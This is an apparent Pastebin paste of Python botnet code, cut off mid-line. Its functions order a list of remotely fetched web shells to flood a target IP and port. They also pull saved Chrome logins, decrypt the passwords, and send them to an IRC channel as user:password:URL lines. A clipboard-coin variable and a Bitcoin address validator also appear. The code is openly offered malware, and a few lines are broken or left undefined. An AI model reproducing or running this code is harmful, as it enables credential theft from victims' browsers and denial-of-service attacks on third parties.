Advertisement
Lulz-Tigre

Zip.py

Jul 6th, 2016
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.00 KB | None | 0 0
  1. def gethash(code):
  2.     m = sha256()
  3.     m.update(code)
  4.     return m.hexdigest()
  5. def fire(host,ip,seconds,port):
  6.     try:
  7.         reply = urllib.urlopen(host).read()
  8.         if 'engine' in reply:
  9.             urlopen(host+"?act=engine&host="+ip+"&time="+seconds+"&port="+port).read()
  10.         else:
  11.             urlopen(host+"?act=phptools&host="+ip+"&time="+seconds+"&port="+port).read()  
  12.     except:
  13.         pass
  14. def shellBoot(time, threads, ip, port, shellist):
  15.     hosts = urlopen(shellist).read().split()
  16.     for host in hosts:
  17.         for x in range(0,threads):
  18.             while 1:
  19.                 worked=False
  20.                 try:
  21.                     start_new_thread(fire,(host,ip,time,port))
  22.                     worked=True
  23.                 except:
  24.                     pass
  25.                 if worked == True:
  26.                     break
  27. def ChromeStealer(s, ircChannel, ircChannelkeyword):
  28.     # Connect to the Database
  29.     XP=False
  30.     if release() == "XP":
  31.         XP=True
  32.     Chrome=False
  33.     Files = []
  34.     if XP == True:
  35.         if path.isdir(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data"):
  36.             for lol in listdir(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data"):
  37.                 if path.isfile(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\"+lol+"\\Login Data"):
  38.                      Files.append(getenv("USERPROFILE")+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\"+lol+"\\Login Data")
  39.                      Chrome=True
  40.     else:
  41.         if path.isdir(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"):
  42.             for lol in listdir(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"):
  43.                 if path.isfile(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"+lol+"\\Login Data"):
  44.                     Files.append(getenv("APPDATA")+"\\..\\Local\\Google\\Chrome\\User Data\\"+lol+"\\Login Data")
  45.                     Chrome=True
  46.     if Chrome == True:
  47.         s.send("PRIVMSG "+ircChannel+" :Chrome found. Recovering logins for all users in format USER:PASSWORD:URL.\r\n")
  48.     else:
  49.         s.send("PRIVMSG "+ircChannel+" :Chrome not found. Unable to recover logins.\r\n")
  50.     for theFile in Files:
  51.         try:
  52.             num=0
  53.             conn = sqlite3.connect(theFile)
  54.             cursor = conn.cursor()
  55.             # Get the results
  56.             cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  57.             for result in cursor.fetchall():
  58.               # Decrypt the Password
  59.                 password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
  60.                 if password:
  61.                     num=num+1
  62.                     output = result[1]
  63.                     if not output == "":
  64.                         output = output + ":"
  65.                     if not password == "":
  66.                         output = output + password + ":"
  67.                     if not result[0] == "":
  68.                         output = output + result[0]
  69.                     if (keyword.lower() == "all") or (keyword in output):
  70.                         s.send("PRIVMSG "+ircChannel+" :"+output+"\r\n")
  71.             if num > 0:
  72.                 s.send("PRIVMSG "+ircChannel+" :Finished recovering Chrome logins.\r\n")
  73.             else:
  74.                 s.send("PRIVMSG "+ircChannel+" :Error: No logins in Chrome installation.\r\n")
  75.         except:
  76.             pass
  77. clipcoinaddress=""
  78. clipcoinAddress=""
  79. class BCAddressField(forms.CharField):
  80.   default_error_messages = {
  81.     'invalid': 'Invalid Bitcoin address.',
  82.     }
  83.  
  84.   def __init__(self, *args, **kwargs):
  85.     super(BCAddressField, self).__init__(*args, **kwargs)
  86.  
  87.   def clean(self, value):
  88.     value = value.strip()
  89.     if match(r"[a-zA-Z1-9]{27,35}$", value) is None:
  90.       raise ValidationError(self.error_messages['invalid'])
  91.     version = get_bcaddress_version(value)
  92.     if version is None:
  93.       raise ValidationError(s
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement